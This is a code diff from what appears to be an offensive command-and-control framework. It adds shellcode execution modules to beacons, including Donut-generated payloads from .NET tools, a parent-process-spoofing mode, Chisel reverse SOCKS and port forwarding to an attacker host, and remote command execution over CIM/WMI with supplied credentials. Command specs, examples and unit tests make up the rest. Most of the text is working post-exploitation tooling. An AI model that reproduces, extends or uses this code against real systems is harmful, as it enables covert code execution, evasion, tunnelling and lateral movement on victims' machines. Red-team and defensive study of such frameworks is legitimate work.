result += capturedOutput;
result += "\n";
}
if (waitStatus == WAIT_FAILED)
{
result += "Error: Thread wait failed.\n";
if (thread != NULL)
CloseHandle(thread);
return -1;
}
if (waitStatus == WAIT_TIMEOUT)
{
result += "Error: Thread execution timed out.\n";
if (thread != NULL)
CloseHandle(thread);
return -1;
}
if (thread != NULL)
CloseHandle(thread);
return 0;
}
+3 -1
View File
@@ -17,6 +17,9 @@ public:
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override;
#endif
int initConfig(const nlohmann::json &config);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override;
@@ -80,4 +83,3 @@ extern "C" __declspec(dllexport) AssemblyExec * A_AssemblyExecConstructor();
extern "C" __attribute__((visibility("default"))) AssemblyExec * AssemblyExecConstructor();
#endif
@@ -0,0 +1,178 @@
#pragma once
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
#include <algorithm>
#include <cctype>
#include <cstddef>
#include <string>
#include <vector>
namespace assembly_exec_command
{
struct CommandOptions
{
std::string mode;
std::string generator = "raw";
std::string sourceType = "raw";
std::string sourcePath;
std::string method;
std::string arguments;
std::string displayCommand;
std::string error;
bool modeOnly = false;
};
inline std::string lowerCopy(std::string value)
{
std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c)
{
return static_cast<char>(std::tolower(c));
});
return value;
}
inline std::string joinCommandTail(const std::vector<std::string>& parts, size_t start)
{
std::string result;
for (size_t index = start; index < parts.size(); ++index)
{
if (!result.empty())
result += " ";
result += parts[index];
}
return result;
}
inline bool isModeName(const std::string& value)
{
const std::string lowered = lowerCopy(value);
return lowered == "thread" || lowered == "process" || lowered == "processwithspoofedparent";
}
inline std::string normalizeModeName(const std::string& value)
{
const std::string lowered = lowerCopy(value);
if (lowered == "thread")
return "thread";
if (lowered == "process")
return "process";
if (lowered == "processwithspoofedparent")
return "processWithSpoofedParent";
return "";
}
inline CommandOptions parseCommandOptions(const std::vector<std::string>& tokens)
{
CommandOptions options;
options.displayCommand = joinCommandTail(tokens, 1);
if (tokens.size() == 2 && isModeName(tokens[1]))
{
options.mode = normalizeModeName(tokens[1]);
options.modeOnly = true;
return options;
}
for (size_t index = 1; index < tokens.size(); ++index)
{
const std::string& token = tokens[index];
if (token == "--")
{
options.arguments = joinCommandTail(tokens, index + 1);
break;
}
if (token == "--mode")
{
if (++index >= tokens.size())
{
options.error = "--mode requires a value.";
return options;
}
options.mode = normalizeModeName(tokens[index]);
if (options.mode.empty())
{
options.error = "Unsupported execution mode.";
return options;
}
}
else if (token == "--raw" || token == "-r")
{
if (++index >= tokens.size())
{
options.error = token + " requires a file path.";
return options;
}
options.generator = "raw";
options.sourceType = "raw";
options.sourcePath = tokens[index];
}
else if (token == "--donut-exe" || token == "-e")
{
if (++index >= tokens.size())
{
options.error = token + " requires a file path.";
return options;
}
options.generator = "donut";
options.sourceType = "dotnet_exe";
options.sourcePath = tokens[index];
if (token == "-e")
{
options.arguments = joinCommandTail(tokens, index + 1);
break;
}
}
else if (token == "--donut-dll" || token == "-d")
{
if (++index >= tokens.size())
{
options.error = token + " requires a file path.";
return options;
}
options.generator = "donut";
options.sourceType = "dotnet_dll";
options.sourcePath = tokens[index];
if (token == "-d")
{
if (++index >= tokens.size())
{
options.error = "Method is mandatory for DLL.";
return options;
}
options.method = tokens[index];
options.arguments = joinCommandTail(tokens, index + 1);
break;
}
}
else if (token == "--method")
{
if (++index >= tokens.size())
{
options.error = "--method requires a value.";
return options;
}
options.method = tokens[index];
}
else
{
options.error = "Unknown assemblyExec option: " + token;
return options;
}
}
if (options.sourcePath.empty())
{
options.error = "A payload source must be provided.";
return options;
}
if (options.sourceType == "dotnet_dll" && options.method.empty())
{
options.error = "Method is mandatory for DLL.";
return options;
}
return options;
}
} // namespace assembly_exec_command
#endif
+2 -8
View File
@@ -39,9 +39,6 @@ endif()
set_property(TARGET AssemblyExec PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
if(C2CORE_BUILD_TESTS OR C2CORE_BUILD_FUNCTIONAL_TESTS)
target_link_libraries(AssemblyExec PRIVATE Donut )
endif()
c2core_disable_safeseh_for_x86(AssemblyExec)
add_custom_command(TARGET AssemblyExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
@@ -89,9 +86,7 @@ if(C2CORE_BUILD_TESTS)
add_executable(testOutputWriter tests/testOutputWriter.cpp)
else()
add_executable(testsAssemblyExec tests/testsAssemblyExec.cpp AssemblyExec.cpp)
target_link_libraries(testsAssemblyExec PRIVATE Donut ${aplib64} )
add_executable(testOutputWriter tests/testOutputWriter.cpp)
add_executable(testOutputWriter tests/testOutputWriter.cpp)
endif()
add_custom_command(TARGET testsAssemblyExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
@@ -138,13 +133,12 @@ if(C2CORE_BUILD_FUNCTIONAL_TESTS)
../ModuleCmd/hwbp.cpp
)
endif()
target_link_libraries(testsAssemblyExecFunctional PRIVATE Donut)
c2core_disable_safeseh_for_x86(testsAssemblyExecFunctional)
target_link_libraries(testsAssemblyExecFunctional PRIVATE Donut)
add_dependencies(testsAssemblyExecFunctional assemblyExecDummyExe)
target_compile_definitions(testsAssemblyExecFunctional PRIVATE C2_ASSEMBLYEXEC_DUMMY_EXE="$<TARGET_FILE:assemblyExecDummyExe>")
else()
add_executable(testsAssemblyExecFunctional tests/functional/testsAssemblyExecFunctional.cpp AssemblyExec.cpp)
target_link_libraries(testsAssemblyExecFunctional PRIVATE Donut ${aplib64})
endif()
target_include_directories(testsAssemblyExecFunctional PRIVATE ../tests)
+93
View File
@@ -0,0 +1,93 @@
{
"name": "assemblyExec",
"display_name": "assemblyExec",
"kind": "module",
"description": "Execute shellcode in the current beacon using a thread, process, or spoofed-parent process mode. Donut inputs are prepared by the TeamServer shellcode service before the task is sent to the beacon.",
"command_template": "assemblyExec [--mode {mode}] [--raw {raw:q}] [--donut-exe {donut_exe:q}] [--donut-dll {donut_dll:q}] [--method {method:q}] [-- {arguments:raw}]",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "--mode",
"type": "flag",
"required": false,
"description": "Execution mode. Defaults to process.",
"values": ["thread", "process", "processWithSpoofedParent"]
},
{
"name": "--raw",
"type": "flag",
"required": false,
"description": "Use an existing raw shellcode file on the TeamServer.",
"artifact_filter": {
"category": "tool",
"scope": "server",
"target": "teamserver",
"platform": "windows",
"arch": "session.arch",
"runtime": "any",
"format": "bin",
"name_contains": ".bin"
}
},
{
"name": "--donut-exe",
"type": "flag",
"required": false,
"description": "Generate shellcode from a .NET executable on the TeamServer.",
"artifact_filter": {
"category": "tool",
"scope": "server",
"target": "teamserver",
"platform": "windows",
"arch": "session.arch",
"runtime": "any",
"format": "exe",
"name_contains": ".exe"
}
},
{
"name": "--donut-dll",
"type": "flag",
"required": false,
"description": "Generate shellcode from a .NET DLL on the TeamServer.",
"artifact_filter": {
"category": "tool",
"scope": "server",
"target": "teamserver",
"platform": "windows",
"arch": "session.arch",
"runtime": "any",
"format": "dll",
"name_contains": ".dll"
}
},
{
"name": "source_path",
"type": "path",
"required": true,
"description": "Raw shellcode, .NET executable, or .NET DLL path on the TeamServer."
},
{
"name": "--method",
"type": "flag",
"required": false,
"description": "Required for --donut-dll."
},
{
"name": "arguments",
"type": "text",
"required": false,
"description": "Arguments passed to the Donut source after --.",
"variadic": true
}
],
"examples": [
"assemblyExec --mode process --raw shellcode.bin",
"assemblyExec --mode thread --donut-exe Seatbelt.exe -- -group=system",
"assemblyExec --mode process --donut-dll Tool.dll --method EntryPoint -- arg1 arg2"
],
"source": "manifest"
}
@@ -0,0 +1,117 @@
#pragma once
#include <cstddef>
#include <filesystem>
#include <fstream>
#include <iterator>
#include <string>
#if defined(_WIN32) && (defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS))
#include <chrono>
#include <cstring>
#include <donut.h>
#endif
namespace assembly_exec_tests
{
struct GeneratedShellcode
{
bool ok = false;
std::string error;
std::filesystem::path path;
std::string bytes;
};
#if defined(_WIN32) && (defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS))
inline int donutArch(const std::string& arch)
{
if (arch == "x86")
return DONUT_ARCH_X86;
if (arch == "arm64")
return DONUT_ARCH_ARM64;
return DONUT_ARCH_X64;
}
inline bool copyBounded(char* destination, std::size_t destinationSize, const std::string& value)
{
if (destinationSize == 0 || value.size() >= destinationSize)
return false;
std::memcpy(destination, value.c_str(), value.size());
destination[value.size()] = '\0';
return true;
}
inline std::filesystem::path tempShellcodePath()
{
const auto suffix = std::chrono::steady_clock::now().time_since_epoch().count();
return std::filesystem::temp_directory_path() / ("c2-assemblyexec-test-" + std::to_string(suffix) + ".bin");
}
inline GeneratedShellcode generateDonutShellcodeForTest(
const std::string& sourcePath,
const std::string& method,
const std::string& arguments,
const std::string& arch,
bool exitProcess)
{
GeneratedShellcode result;
result.path = tempShellcodePath();
DONUT_CONFIG config;
std::memset(&config, 0, sizeof(config));
config.inst_type = DONUT_INSTANCE_EMBED;
config.arch = donutArch(arch);
config.bypass = DONUT_BYPASS_CONTINUE;
config.format = DONUT_FORMAT_BINARY;
config.compress = DONUT_COMPRESS_NONE;
config.entropy = DONUT_ENTROPY_DEFAULT;
config.headers = DONUT_HEADERS_OVERWRITE;
config.exit_opt = exitProcess ? DONUT_OPT_EXIT_PROCESS : DONUT_OPT_EXIT_THREAD;
config.thread = 0;
config.unicode = 0;
if (!copyBounded(config.input, sizeof(config.input), sourcePath)
|| !copyBounded(config.output, sizeof(config.output), result.path.string())
|| !copyBounded(config.method, sizeof(config.method), method)
|| !copyBounded(config.args, sizeof(config.args), arguments))
{
result.error = "Donut test input, output, method or arguments are too long.";
return result;
}
const int err = DonutCreate(&config);
if (err != DONUT_ERROR_OK)
{
result.error = "Donut test error: ";
result.error += DonutError(err);
return result;
}
std::ifstream input(result.path, std::ios::binary);
result.bytes.assign(std::istreambuf_iterator<char>(input), std::istreambuf_iterator<char>());
DonutDelete(&config);
if (result.bytes.empty())
{
result.error = "Donut test generated an empty shellcode payload.";
return result;
}
result.ok = true;
return result;
}
#else
inline GeneratedShellcode generateDonutShellcodeForTest(
const std::string&,
const std::string&,
const std::string&,
const std::string&,
bool)
{
GeneratedShellcode result;
result.error = "Donut shellcode generation is only available in Windows assemblyExec tests.";
return result;
}
#endif
} // namespace assembly_exec_tests
@@ -1,4 +1,5 @@
#include "../../AssemblyExec.hpp"
#include "../AssemblyExecTestShellcodeGenerator.hpp"
#include "../../../tests/FunctionalTestHelpers.hpp"
#include <filesystem>
@@ -44,6 +45,17 @@ std::string normalizeKind(const std::string& kind)
}
return "exe";
}
std::string currentWindowsArch()
{
#if defined(_M_ARM64) || defined(__aarch64__)
return "arm64";
#elif defined(_M_IX86) || defined(__i386__)
return "x86";
#else
return "x64";
#endif
}
}
int main(int argc, char** argv)
@@ -107,33 +119,51 @@ int main(int argc, char** argv)
return 1;
}
std::vector<std::string> command = {"assemblyExec"};
C2Message message;
std::filesystem::path generatedPath;
if (kind == "raw")
{
command.push_back("-r");
command.push_back(payload);
}
else if (kind == "dll")
{
command.push_back("-d");
command.push_back(payload);
command.push_back(method);
std::vector<std::string> command = {"assemblyExec", "--mode", mode, "--raw", payload};
if (module.init(command, message) != 0)
{
std::cerr << "testsAssemblyExecFunctional init failed:\n" << message.returnvalue() << '\n';
return 1;
}
}
else
{
command.push_back("-e");
command.push_back(payload);
}
if (!arguments.empty())
{
command.push_back(arguments);
}
const bool exitProcess = mode != "thread";
assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest(
payload,
kind == "dll" ? method : "",
arguments,
currentWindowsArch(),
exitProcess);
if (!generated.ok)
{
#ifndef _WIN32
std::cout << "testsAssemblyExecFunctional skipped: " << generated.error << '\n';
return skipReturnCode;
#else
std::cerr << "testsAssemblyExecFunctional Donut preparation failed:\n" << generated.error << '\n';
return 1;
#endif
}
C2Message message;
if (module.init(command, message) != 0)
{
std::cerr << "testsAssemblyExecFunctional init failed:\n" << message.returnvalue() << '\n';
return 1;
generatedPath = generated.path;
ModulePreparedShellcodeTask task;
task.inputFile = generated.path.string();
task.payload = generated.bytes;
task.executionMode = mode;
task.displayCommand = kind == "dll"
? "--mode " + mode + " --donut-dll " + payload + " --method " + method + " -- " + arguments
: "--mode " + mode + " --donut-exe " + payload + " -- " + arguments;
if (module.initPreparedShellcode(task, message) != 0)
{
std::cerr << "testsAssemblyExecFunctional prepared init failed:\n" << message.returnvalue() << '\n';
std::filesystem::remove(generatedPath);
return 1;
}
}
std::cout << "testsAssemblyExecFunctional init OK\n";
@@ -143,6 +173,10 @@ int main(int argc, char** argv)
if (!execute)
{
std::cout << "execution skipped; pass --execute to run the module process path.\n";
if (!generatedPath.empty())
{
std::filesystem::remove(generatedPath);
}
return 0;
}
@@ -163,5 +197,9 @@ int main(int argc, char** argv)
C2Message result;
module.process(message, result);
std::cout << result.returnvalue() << '\n';
if (!generatedPath.empty())
{
std::filesystem::remove(generatedPath);
}
return 0;
}
+100 -28
View File
@@ -1,11 +1,18 @@
#include "../AssemblyExec.hpp"
#include "AssemblyExecTestShellcodeGenerator.hpp"
#include "../../tests/TestHelpers.hpp"
#include <filesystem>
#include <cstdio>
#include <cstring>
#include <iostream>
#include <string>
#include <vector>
#ifdef _WIN32
#include "../../ModuleCmd/Tools.hpp"
#endif
using namespace test_helpers;
namespace
@@ -34,6 +41,42 @@ bool expectAssemblyMessage(const C2Message& message,
ok &= expect(!message.data().empty(), label + ": payload should be non-empty");
return ok;
}
bool expectPreparedDonutMessage(const std::filesystem::path& sourcePath,
const std::string& mode,
const std::string& method,
const std::string& arguments,
const std::string& arch,
const std::string& expectedMode,
const std::string& displayCommand,
const std::string& label)
{
bool ok = true;
const bool exitProcess = mode != "thread";
assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest(
sourcePath.string(),
method,
arguments,
arch,
exitProcess);
ok &= expect(generated.ok, label + ": Donut test shellcode should be generated: " + generated.error);
if (!ok)
return false;
AssemblyExec module;
ModulePreparedShellcodeTask task;
task.inputFile = generated.path.string();
task.payload = generated.bytes;
task.executionMode = mode;
task.displayCommand = displayCommand;
C2Message message;
ok &= expect(module.initPreparedShellcode(task, message) == 0, label + ": prepared shellcode should be packed");
ok &= expectAssemblyMessage(message, generated.path, expectedMode, displayCommand, label);
ok &= expect(message.data() == generated.bytes, label + ": generated shellcode bytes should be packed");
std::filesystem::remove(generated.path);
return ok;
}
}
int main()
@@ -42,6 +85,22 @@ int main()
const std::string dummyExe = dummyExePath();
const std::string currentArch = buildWindowsArch();
#ifdef _WIN32
{
StdCapture capture;
capture.BeginCapture();
const char* crtOutput = "crt-output\n";
std::fwrite(crtOutput, 1, std::strlen(crtOutput), stdout);
const char* winOutput = "win32-output\n";
DWORD written = 0;
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), winOutput, static_cast<DWORD>(std::strlen(winOutput)), &written, nullptr);
capture.EndCapture();
const std::string captured = capture.GetCapture();
ok &= expect(captured.find("crt-output") != std::string::npos, "StdCapture should capture CRT stdout");
ok &= expect(captured.find("win32-output") != std::string::npos, "StdCapture should capture Win32 stdout handle");
}
#endif
{
AssemblyExec module;
std::vector<std::string> cmd = {"assemblyExec", "thread"};
@@ -81,11 +140,11 @@ int main()
{
const auto raw = writeTempFile("c2core_assembly_raw.bin", "raw-bytes");
AssemblyExec module;
std::vector<std::string> cmd = {"assemblyExec", "-r", raw.string()};
std::vector<std::string> cmd = {"assemblyExec", "--mode", "process", "--raw", raw.string()};
C2Message message;
ok &= expect(module.init(cmd, message) == 0, "existing raw shellcode file should be accepted");
ok &= expectAssemblyMessage(message, raw, "1", "-r", "raw process mode");
ok &= expectAssemblyMessage(message, raw, "1", "--raw", "raw process mode");
ok &= expect(message.data() == "raw-bytes", "raw bytes should be packed");
std::filesystem::remove(raw);
}
@@ -126,7 +185,7 @@ int main()
C2Message message;
ok &= expect(module.init(cmd, message) == -1, "unknown payload option should be rejected");
ok &= expect(message.returnvalue().find("One of the tags") != std::string::npos, "unknown payload option should explain accepted tags");
ok &= expect(message.returnvalue().find("Unknown assemblyExec option") != std::string::npos, "unknown payload option should explain accepted tags");
}
{
@@ -138,6 +197,15 @@ int main()
ok &= expect(message.returnvalue().find("Method is mandatory") != std::string::npos, "DLL mode should explain missing method");
}
{
AssemblyExec module;
std::vector<std::string> cmd = {"assemblyExec", "--donut-exe", "payload.exe"};
C2Message message;
ok &= expect(module.init(cmd, message) == -1, "Donut mode should be rejected by module init");
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "Donut mode should point to TeamServer shellcode service");
}
if (dummyExe.empty())
{
#ifdef _WIN32
@@ -155,37 +223,41 @@ int main()
std::vector<std::string> cmd = {"assemblyExec", "-e", dummyPath.string()};
C2Message message;
ok &= expect(module.init(cmd, message) == 0, "dummy exe should be accepted by Donut EXE mode");
ok &= expectAssemblyMessage(message, dummyPath, "1", "-e", "dummy exe default process mode");
ok &= expect(module.init(cmd, message) == -1, "dummy exe Donut mode should be prepared by TeamServer");
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "dummy exe Donut mode should explain TeamServer preparation");
ok &= expectPreparedDonutMessage(
dummyPath,
"process",
"",
"",
currentArch,
"1",
"--mode process --donut-exe " + dummyPath.string(),
"dummy exe TeamServer-prepared Donut process mode");
}
{
AssemblyExec module;
module.setWindowsArch(currentArch);
C2Message modeMessage;
std::vector<std::string> modeCmd = {"assemblyExec", "thread"};
ok &= expect(module.init(modeCmd, modeMessage) == -1, "thread mode should be configurable before Donut EXE mode");
std::vector<std::string> cmd = {"assemblyExec", "-e", dummyPath.string(), "alpha", "beta gamma"};
C2Message message;
ok &= expect(module.init(cmd, message) == 0, "dummy exe with arguments should be accepted by Donut EXE mode");
ok &= expectAssemblyMessage(message, dummyPath, "0", "alpha beta gamma", "dummy exe thread mode with args");
ok &= expect(message.cmd().find(dummyPath.string()) != std::string::npos, "dummy exe command should include input path");
ok &= expectPreparedDonutMessage(
dummyPath,
"thread",
"",
"alpha beta gamma",
currentArch,
"0",
"--mode thread --donut-exe " + dummyPath.string() + " -- alpha beta gamma",
"dummy exe TeamServer-prepared Donut thread mode with args");
}
{
AssemblyExec module;
module.setWindowsArch(currentArch);
C2Message modeMessage;
std::vector<std::string> modeCmd = {"assemblyExec", "processWithSpoofedParent"};
ok &= expect(module.init(modeCmd, modeMessage) == -1, "spoofed-parent mode should be configurable before Donut EXE mode");
std::vector<std::string> cmd = {"assemblyExec", "-e", dummyPath.string(), "--flag"};
C2Message message;
ok &= expect(module.init(cmd, message) == 0, "dummy exe should be accepted in spoofed-parent mode");
ok &= expectAssemblyMessage(message, dummyPath, "2", "--flag", "dummy exe spoofed-parent mode");
ok &= expectPreparedDonutMessage(
dummyPath,
"processWithSpoofedParent",
"",
"--flag",
currentArch,
"2",
"--mode processWithSpoofedParent --donut-exe " + dummyPath.string() + " -- --flag",
"dummy exe TeamServer-prepared Donut spoofed-parent mode");
}
{
+117
View File
@@ -0,0 +1,117 @@
# Command Spec Reference
Command autocomplete is driven by JSON command specs exposed by the TeamServer through
`ListCommands`. Do not add new client-side hardcoded autocomplete entries. Add or update a
command spec instead.
## File naming
- Common commands live in `core/modules/ModuleCmd/CommandSpecs/common/<command>.json`.
- Module commands live next to the module source as `<command>.json`.
- The release build copies module specs into `CommandSpecs/modules/<command>.json`.
- Avoid generic names such as `command.json`; they make release staging and reviews harder.
## Minimal module spec
```json
{
"name": "whoami",
"display_name": "whoami",
"kind": "module",
"description": "Print current user and group information from the beacon.",
"command_template": "whoami",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [],
"examples": ["whoami"],
"source": "manifest"
}
```
## Argument fields
```json
{
"name": "path",
"type": "path",
"required": false,
"description": "Remote directory path.",
"values": [],
"variadic": true
}
```
Supported `type` values are currently descriptive, not enforced: `text`, `number`, `enum`,
`path`, and `artifact`.
Use `values` for short static completions, especially enums. Use `examples` for complete
usage shapes that should be suggested by the console.
## Command template
`command_template` is the canonical renderer used by the assistant to turn structured
arguments into the exact beacon command line. Keep it in the CommandSpec; do not add
client-side assistant schemas.
Placeholders use the same normalized argument name exposed to the assistant:
- positional args: `{path:q}` or `{command:raw}`
- optional args: `{path:q?}` or `[-s {s:q}]`
- boolean flags: `[--no-run {no_run:flag}]`
For flag args, strip leading dashes and replace dashes with underscores. For example,
`--donut-exe` becomes `{donut_exe:q}` and `-P` remains `{P}`.
## Artifact-backed arguments
```json
{
"name": "module",
"type": "artifact",
"required": true,
"description": "Module artifact compatible with the current session.",
"artifact_filter": {
"category": "module",
"target": "beacon",
"platform": "session.platform",
"arch": "session.arch",
"runtime": "native"
}
}
```
`session.platform` and `session.arch` are resolved by the client from the current beacon
before it asks `ListArtifacts` for contextual autocomplete candidates.
When an argument can be resolved from several artifact categories, use `artifact_filters`
instead of a single `artifact_filter`. Filters are treated as an OR-list by the client.
```json
{
"name": "service_artifact",
"type": "artifact",
"required": true,
"artifact_filters": [
{
"category": "tool",
"scope": "server",
"target": "teamserver",
"platform": "windows",
"arch": "session.arch",
"runtime": "any",
"name_contains": ".exe"
},
{
"category": "upload",
"scope": "operator",
"target": "beacon",
"platform": "session.platform",
"arch": "session.arch",
"runtime": "file",
"name_contains": ".exe"
}
]
}
```
+25
View File
@@ -0,0 +1,25 @@
{
"name": "cat",
"display_name": "cat",
"kind": "module",
"description": "Read and print a remote file from the beacon.",
"command_template": "cat {path:q}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "path",
"type": "path",
"required": true,
"description": "Remote file path.",
"variadic": true
}
],
"examples": [
"cat /etc/hosts",
"cat C:\\Windows\\win.ini"
],
"source": "manifest"
}
+25
View File
@@ -0,0 +1,25 @@
{
"name": "cd",
"display_name": "cd",
"kind": "module",
"description": "Change the beacon current working directory.",
"command_template": "cd {path:q}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "path",
"type": "path",
"required": true,
"description": "Remote directory path.",
"variadic": true
}
],
"examples": [
"cd /tmp",
"cd C:\\Users\\Public"
],
"source": "manifest"
}
+22 -54
View File
@@ -58,15 +58,32 @@ std::string Chisel::getInfo()
info += "- chisel status\n";
info += "- chisel stop pid\n";
info += "Reverse Socks Proxy:\n";
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks\n";
info += "- chisel client ATTACKING_IP:LISTEN_PORT R:socks\n";
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
info += "Remote Port Forward:\n";
info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n";
info += "- chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n";
info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n";
#endif
return info;
}
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
int Chisel::initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message)
{
if (task.payload.empty())
{
c2Message.set_returnvalue("Shellcode payload is empty.");
return -1;
}
c2Message.set_instruction(std::string(moduleName));
c2Message.set_inputfile(task.inputFile);
c2Message.set_cmd(task.displayCommand);
c2Message.set_data(task.payload.data(), task.payload.size());
return 0;
}
#endif
int Chisel::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
@@ -117,59 +134,10 @@ int Chisel::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
return -1;
}
}
else if (splitedCmd.size() == 5)
else if (splitedCmd.size() >= 2)
{
std::string inputFile=splitedCmd[1];
std::string args;
for (int idx = 2; idx < splitedCmd.size(); idx++)
{
if(!args.empty())
args+=" ";
args+=splitedCmd[idx];
}
if(inputFile.empty())
{
std::string msg = "A file name have to be provided.\n";
c2Message.set_returnvalue(msg);
return -1;
}
std::ifstream myfile;
myfile.open(inputFile);
if(!myfile)
{
std::string newInputFile=m_toolsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string msg = "Couldn't open file.\n";
c2Message.set_returnvalue(msg);
return -1;
}
myfile.close();
std::string method;
std::string payload;
creatShellCodeDonut(inputFile, method, args, payload, true, false, m_windowsArch);
if(payload.size()==0)
{
std::string msg = "Something went wrong. Payload empty.\n";
c2Message.set_returnvalue(msg);
return -1;
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_cmd(args);
c2Message.set_data(payload.data(), payload.size());
c2Message.set_returnvalue("Chisel start tasks are prepared by the TeamServer shellcode service.\n");
return -1;
}
else
{
+3 -1
View File
@@ -13,6 +13,9 @@ public:
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override;
#endif
int process(C2Message& c2Message, C2Message& c2RetMessage);
int followUp(const C2Message &c2RetMessage);
int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override;
@@ -36,4 +39,3 @@ extern "C" __declspec(dllexport) Chisel * A_ChiselConstructor();
extern "C" __attribute__((visibility("default"))) Chisel * ChiselConstructor();
#endif
+39
View File
@@ -0,0 +1,39 @@
{
"name": "chisel",
"display_name": "chisel",
"kind": "module",
"description": "Launch the TeamServer-managed chisel.exe tool on a Windows beacon. The TeamServer generates shellcode from Tools/Windows/<arch>/chisel.exe before sending the task.",
"command_template": "chisel {action} {server:q?} {reverse_spec:q?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "action",
"type": "enum",
"required": true,
"description": "Chisel action.",
"values": ["client", "status", "stop"]
},
{
"name": "server",
"type": "text",
"required": false,
"description": "Server host and port used by chisel client."
},
{
"name": "reverse_spec",
"type": "text",
"required": false,
"description": "Reverse socks or reverse port-forward specification."
}
],
"examples": [
"chisel status",
"chisel stop 1234",
"chisel client 127.0.0.1:9001 R:socks",
"chisel client 127.0.0.1:9001 R:1080:127.0.0.1:1080"
],
"source": "manifest"
}
+28 -3
View File
@@ -61,11 +61,36 @@ int main()
{
Chisel module;
module.setWindowsArch(currentArch);
std::vector<std::string> cmd = {"chisel", "missing.exe", "client", "host:8000", "R:socks"};
std::vector<std::string> cmd = {"chisel", "client", "host:8000", "R:socks"};
C2Message message;
ok &= expect(module.init(cmd, message) == -1, "missing payload file should be rejected");
ok &= expect(!message.returnvalue().empty(), "missing payload file should explain the error");
ok &= expect(module.init(cmd, message) == -1, "start commands should be prepared by the TeamServer service");
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "start command should explain server-side preparation");
}
{
Chisel module;
C2Message message;
ModulePreparedShellcodeTask task;
task.inputFile = "GeneratedArtifacts/payload/chisel.bin";
task.payload = "shellcode";
task.displayCommand = "client host:8000 R:socks";
ok &= expect(module.initPreparedShellcode(task, message) == 0, "prepared shellcode should be packed");
ok &= expect(message.instruction() == "chisel", "prepared instruction should be set");
ok &= expect(message.inputfile() == task.inputFile, "prepared input artifact path should be packed");
ok &= expect(message.cmd() == task.displayCommand, "prepared display command should be packed");
ok &= expect(message.data() == task.payload, "prepared shellcode bytes should be packed");
}
{
Chisel module;
C2Message message;
ModulePreparedShellcodeTask task;
task.displayCommand = "client host:8000 R:socks";
ok &= expect(module.initPreparedShellcode(task, message) == -1, "empty prepared shellcode should be rejected");
ok &= expect(message.returnvalue().find("empty") != std::string::npos, "empty prepared shellcode should explain the error");
}
return ok ? 0 : 1;
+54
View File
@@ -0,0 +1,54 @@
{
"name": "cimExec",
"display_name": "cimExec",
"kind": "module",
"description": "Execute a command on a remote Windows host through CIM/WMI.",
"command_template": "cimExec -h {h:q} -c {c:q} [-n {n:q}] [-a {a:q}] [-u {u:q}] [-p {p:q}]",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "-h",
"type": "flag",
"required": true,
"description": "Remote host name or IP."
},
{
"name": "-c",
"type": "flag",
"required": true,
"description": "Executable or command to start remotely."
},
{
"name": "-n",
"type": "flag",
"required": false,
"description": "CIM namespace. Defaults to root/cimv2."
},
{
"name": "-a",
"type": "flag",
"required": false,
"description": "Arguments passed to the remote command."
},
{
"name": "-u",
"type": "flag",
"required": false,
"description": "DOMAIN\\user credentials."
},
{
"name": "-p",
"type": "flag",
"required": false,
"description": "Password for explicit credentials."
}
],
"examples": [
"cimExec -h server01 -c cmd.exe -a \"/c whoami\"",
"cimExec -h server01 -n root/cimv2 -c powershell.exe -a \"-nop -c whoami\""
],
"source": "manifest"
}
+3 -3
View File
